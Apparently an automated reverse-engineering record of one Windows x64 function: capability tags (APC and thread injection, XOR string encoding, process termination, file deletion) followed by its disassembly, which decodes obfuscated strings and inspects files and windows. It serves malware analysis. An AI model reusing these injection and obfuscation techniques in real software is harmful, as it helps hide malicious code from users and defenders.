Function at 0x140021980
Capabilities:
Check if file exists
Create directory
Create thread
Delete file
Encode data using xor
Enumerate threads
Get common file path
Get file attributes
Get graphical window text
Inject apc
Inject thread
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2050]
mov eax, 0x2150
call fcn.1400bc3a0
sub rsp, rax
movaps xmmword [rsp + 0x2140], xmm6
movaps xmmword [rsp + 0x2130], xmm7
movaps xmmword [rsp + 0x2120], xmm8
movaps xmmword [rsp + 0x2110], xmm9
movaps xmmword [rsp + 0x2100], xmm10
movaps xmmword [rsp + 0x20f0], xmm11
movaps xmmword [rsp + 0x20e0], xmm12
movaps xmmword [rsp + 0x20d0], xmm13
movaps xmmword [rsp + 0x20c0], xmm14
movaps xmmword [rsp + 0x20b0], xmm15
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rbp + 0x1fa0], rax
movsxd rsi, edx
mov r12, rcx
xor ebx, ebx
mov qword [rbp + 0x12d0], rbx
mov qword [rbp + 0x1498], rbx
call fcn.140018210
mov r8d, ebx
movdqa xmm8, xmmword [0x1400d7300]
test al, al
jne 0x140021eee
movups xmm0, xmmword [str.40xTX_T_]
movups xmmword [rbp + 0x828], xmm0
movsd xmm0, qword [0x1400d5e88]
movsd qword [rbp + 0x838], xmm0
mov eax, dword [0x1400d5e90]
mov dword [rbp + 0x840], eax
movzx eax, word [0x1400d5e94]
mov word [rbp + 0x844], ax
movdqa xmm7, xmmword [str.7777]
movdqa xmm6, xmmword [0x1400d7410]
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x140021baa
movdqa xmm0, xmmword [0x1400d7420]
movdqa xmmword [rbp + 0x1320], xmm0
lea rcx, [rbp + 0x828]
mov edx, dword [rbp + 0x1320]
movdqa xmm4, xmmword [0x1400d73f0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140021ac1
cmp r8d, 0x1e
jge 0x140021bef
movsxd rax, r8d
lea r9, [rbp + 0x828]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140021bc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b8], xmm0
mov qword [rbp + 0x3c8], rbx
mov qword [rbp + 0x3d0], rbx
lea rax, [rbp + 0x828]
mov r14, 0xffffffffffffffff
inc r14
cmp byte [rax + r14], bl
jne 0x140021c15
mov r8, r14
lea rdx, [rbp + 0x828]
lea rcx, [rbp + 0x3b8]
call fcn.140045100
nop
mov r8d, 0xff
lea rdx, [rbp + 0x3b8]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x3d0]
cmp rdx, 0xf
jbe 0x140021c8c
inc rdx
mov rcx, qword [rbp + 0x3b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021c87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
mov eax, dword [0x1400d4800]
mov dword [rsp + 0x50], eax
movsd xmm0, qword [0x1400d47f8]
movzx eax, word [0x1400d4804]
movsd qword [rsp + 0x48], xmm0
mov byte [rbp + 0x3b8], 0
mov qword [rbp + 0x3d0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x3c8], rbx
mov edx, 0x45
mov word [rsp + 0x48], dx
xor word [rsp + 0x4a], 0x3a
xor word [rsp + 0x4c], 0x3b
xor word [rsp + 0x4e], 0x3c
xor word [rsp + 0x50], 0x3d
xor word [rsp + 0x52], 0x3e
xor ax, 0x3f
mov word [rsp + 0x54], ax
movups xmm0, xmmword [0x1400d5bd0]
movups xmmword [rbp + 0xda0], xmm0
movups xmm1, xmmword [0x1400d5be0]
movups xmmword [rbp + 0xdb0], xmm1
movups xmm0, xmmword [0x1400d5bf0]
movups xmmword [rbp + 0xdc0], xmm0
movups xmm1, xmmword [0x1400d5c00]
movups xmmword [rbp + 0xdd0], xmm1
movups xmm0, xmmword [0x1400d5c10]
movups xmmword [rbp + 0xde0], xmm0
movups xmm1, xmmword [0x1400d5c20]
movups xmmword [rbp + 0xdf0], xmm1
movups xmm0, xmmword [0x1400d5c30]
movups xmmword [rbp + 0xe00], xmm0
movups xmm1, xmmword [0x1400d5c40]
movups xmmword [rbp + 0xe10], xmm1
movsd xmm0, qword [0x1400d5c50]
movsd qword [rbp + 0xe20], xmm0
movzx eax, word [0x1400d5c58]
mov word [rbp + 0xe28], ax
cmp edi, 2
jl 0x140021e8b
movdqa xmm4, xmmword [str.99999999]
lea rcx, [rbp + 0xda0]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
lea rcx, [rcx + 0x10]
cmp ebx, 0x40
jl 0x140021da0
cmp ebx, edx
jge 0x140021ecf
movsxd rax, ebx
lea r8, [rbp + 0xda0]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, bx
sub ax, cx
add ax, 0x39
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x45
jl 0x140021ea0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0xda0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140022a55
movups xmm2, xmmword [str.40wSZV.b]
movups xmmword [rbp + 0x120], xmm2
movsd xmm0, qword [0x1400d4f20]
movsd qword [rbp + 0x130], xmm0
movdqa xmm12, xmmword [0x1400d73f0]
movdqa xmm14, xmmword [0x1400d7420]
movdqa xmm9, xmmword [str.7777]
movdqa xmm7, xmmword [0x1400d7410]
movdqa xmm15, xmmword [0x1400d7370]
movdqa xmm13, xmmword [0x1400d7360]
movdqa xmm10, xmmword [0x1400d7340]
movdqa xmm11, xmmword [0x1400d7320]
movdqa xmm3, xmmword [0x1400d7380]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x1400221ea
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x120], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x124]
xorps xmm2, xmm1
movd dword [rbp + 0x124], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x128]
xorps xmm2, xmm1
movd dword [rbp + 0x128], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x12c]
xorps xmm2, xmm1
movd dword [rbp + 0x12c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x130]
xorps xmm2, xmm1
movd dword [rbp + 0x130], xmm2
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x134]
xorps xmm2, xmm1
movd dword [rbp + 0x134], xmm2
jmp 0x140022223
lea r9, [rbp + 0x120]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400221f1
xorps xmm0, xmm0
movups xmmword [rbp + 0x7a8], xmm0
mov qword [rbp + 0x7b8], rbx
mov qword [rbp + 0x7c0], rbx
lea rax, [rbp + 0x120]
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140022250
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x7a8]
call fcn.140045100
nop
mov r8d, 0xffff
lea rdx, [rbp + 0x7a8]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x7c0]
cmp rdx, 0xf
jbe 0x1400222c4
inc rdx
mov rcx, qword [rbp + 0x7a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400222bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
mov qword [rbp + 0x7b8], rbx
mov qword [rbp + 0x7c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7a8], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf0
mov rcx, qword [0x1400ecc18]
call qword [sym.imp.USER32.dll_SendMessageW]
cmp rax, 1
jne 0x140025edc
mov r8d, 0x100
lea rdx, [rbp + 0x1980]
mov rcx, qword [0x1400ece50]
call qword [sym.imp.USER32.dll_GetWindowTextW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x13d8], xmm0
mov qword [rbp + 0x13e8], rbx
mov qword [rbp + 0x13f0], rbx
lea rax, [rbp + 0x1980]
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140022350
lea rdx, [rbp + 0x1980]
lea rcx, [rbp + 0x13d8]
call fcn.140044cf0
nop
lea rcx, [rbp + 0x13d8]
cmp qword [rbp + 0x13f0], 7
cmova rcx, qword [rbp + 0x13d8]
mov rax, qword [rbp + 0x13e8]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x13d8]
cmova rdx, qword [rbp + 0x13d8]
lea r9, [rsp + 0x40]
lea rcx, [rbp + 0x1398]
call fcn.140043cb0
nop
mov r8d, 0x104
lea rdx, [rbp + 0x1660]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1350], xmm0
mov qword [rbp + 0x1360], rbx
mov qword [rbp + 0x1368], rbx
lea rax, [rbp + 0x1660]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400223f0
lea rdx, [rbp + 0x1660]
lea rcx, [rbp + 0x1350]
call fcn.140045100
nop
lea rdi, [rbp + 0x1350]
mov r13, qword [rbp + 0x1350]
cmp qword [rbp + 0x1368], 0xf
cmova rdi, r13
mov rsi, qword [rbp + 0x1360]
test rsi, rsi
je 0x1400224ad
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x1560]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x1400d2e74]
lea rdx, [0x1400d2e76]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rbp + rax + 0x1560], 1
inc rcx
cmp rcx, rdx
jne 0x140022460
lea rax, [rsi - 1]
mov r8, r14
cmp rax, r14
cmovb r8, rax
add r8, rdi
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x1560], 0
jne 0x1400224a8
cmp r8, rdi
je 0x1400224ad
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x1560], 0
je 0x140022492
sub r8, rdi
jmp 0x1400224b0
mov r8, r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x7e8], xmm0
mov qword [rbp + 0x7f8], rbx
mov qword [rbp + 0x800], rbx
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rbp + 0x1350]
cmp qword [rbp + 0x1368], 0xf
cmova rdx, r13
lea rcx, [rbp + 0x7e8]
call fcn.140045100
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x14002252f
inc rdx
mov rcx, qword [rbp + 0x1350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002252a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025d87
call fcn.1400bbb20
movups xmm0, xmmword [rbp + 0x7e8]
movups xmmword [rbp + 0x1350], xmm0
movups xmm1, xmmword [rbp + 0x7f8]
movups xmmword [rbp + 0x1360], xmm1
mov qword [rbp + 0x7f8], rbx
mov qword [rbp + 0x800], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7e8], 0
movabs rax, 0x7fffffffffffffff
movq rcx, xmm1
sub rax, rcx
cmp rax, 1
jb 0x14002ee8c
lea r9, [rbp + 0x1350]
cmp qword [rbp + 0x1368], 0xf
cmova r9, qword [rbp + 0x1350]
mov qword [rsp + 0x30], 1
lea rax, [0x1400d2e78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x1350]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x8c8]
call fcn.1400473a0
nop
lea rdx, [rbp + 0x1398]
cmp qword [rbp + 0x13b0], 0xf
cmova rdx, qword [rbp + 0x1398]
mov r8, qword [rbp + 0x13a8]
lea rcx, [rbp + 0x8c8]
call fcn.140040090
xorps xmm0, xmm0
movups xmmword [rbp + 0x1330], xmm0
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1330], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1340], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x8e0]
cmp rdx, 0xf
jbe 0x140022671
inc rdx
mov rcx, qword [rbp + 0x8c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002266c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023a66
call fcn.1400bbb20
mov qword [rbp + 0x8d8], rbx
mov qword [rbp + 0x8e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8c8], 0
lea rdi, [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova rdi, qword [rbp + 0x1330]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140022abf
movups xmm0, xmmword [0x1400d6a40]
movups xmmword [rbp + 0xc80], xmm0
movups xmm1, xmmword [0x1400d6a50]
movups xmmword [rbp + 0xc90], xmm1
movups xmm0, xmmword [0x1400d6a60]
movups xmmword [rbp + 0xca0], xmm0
movups xmm1, xmmword [0x1400d6a70]
movups xmmword [rbp + 0xcb0], xmm1
mov eax, dword [0x1400d6a80]
mov dword [rbp + 0xcc0], eax
mov r8d, ebx
cmp r15d, 2
jl 0x14002280d
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xc80]
mov edx, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140022720
cmp r8d, 0x44
jge 0x14002284f
movsxd rax, r8d
lea r9, [rbp + 0xc80]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x44
jl 0x140022820
xorps xmm0, xmm0
movups xmmword [rbp + 0x788], xmm0
mov qword [rbp + 0x798], rbx
mov qword [rbp + 0x7a0], rbx
lea rax, [rbp + 0xc80]
nop
inc r14
cmp byte [rax + r14], 0
jne 0x140022870
mov r8, r14
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0x788]
call fcn.140045100
nop
mov r8d, 0xff
lea rdx, [rbp + 0x788]
mov rcx, r12
call fcn.14000a6c0
nop
mov rdx, qword [rbp + 0x7a0]
cmp rdx, 0xf
jbe 0x1400228e8
inc rdx
mov rcx, qword [rbp + 0x788]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400228e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023a66
call fcn.1400bbb20
mov qword [rbp + 0x798], rbx
mov qword [rbp + 0x7a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x788], 0
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x140022942
mov rcx, qword [rbp + 0x1330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002293d
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025d87
call fcn.1400bbb20
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1330], 0
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x14002299c
mov rcx, qword [rbp + 0x1350]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022997
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025de4
call fcn.1400bbb20
mov byte [rbp + 0x1350], 0
mov qword [rbp + 0x1368], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x1360], rbx
mov rdx, qword [rbp + 0x13b0]
cmp rdx, 0xf
jbe 0x1400229f6
inc rdx
mov rcx, qword [rbp + 0x1398]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400229f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025e41
call fcn.1400bbb20
mov qword [rbp + 0x13a8], rbx
mov qword [rbp + 0x13b0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1398], 0
mov rdx, qword [rbp + 0x13f0]
cmp rdx, 7
jbe 0x140022a55
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022a50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
xor al, al
mov rcx, qword [rbp + 0x1fa0]
xor rcx, rsp
call fcn.1400bbb00
lea r11, [rsp + 0x2150]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rbp + 0x358], xmm0
mov qword [rbp + 0x368], rbx
mov qword [rbp + 0x370], rbx
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140022ae0
mov rdx, rdi
lea rcx, [rbp + 0x358]
call fcn.140045100
nop
lea rcx, [rbp + 0x358]
call fcn.140018530
nop
mov rdx, qword [rbp + 0x370]
cmp rdx, 0xf
jbe 0x140022b48
inc rdx
mov rcx, qword [rbp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022b43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023a66
call fcn.1400bbb20
movups xmm1, xmmword [0x1400d47e8]
movups xmm0, xmmword [str.i_IQTML_._0d63h:_____6______X]
movups xmmword [rbp + 0x858], xmm1
movups xmmword [rbp + 0x848], xmm0
mov byte [rbp + 0x358], 0
mov qword [rbp + 0x370], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x368], rbx
mov r8d, ebx
cmp r15d, 2
jl 0x140022c97
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x848]
mov r8d, dword [rbp + 0x1320]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm12
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140022bb0
jmp 0x140022cd2
lea r9, [rbp + 0x848]
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140022ca0
xorps xmm0, xmm0
movups xmmword [rbp + 0x768], xmm0
mov qword [rbp + 0x778], rbx
mov qword [rbp + 0x780], rbx
lea rax, [rbp + 0x848]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140022cf4
lea rdx, [rbp + 0x848]
lea rcx, [rbp + 0x768]
call fcn.140045100
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x768]
mov rcx, r12
call fcn.14000a6c0
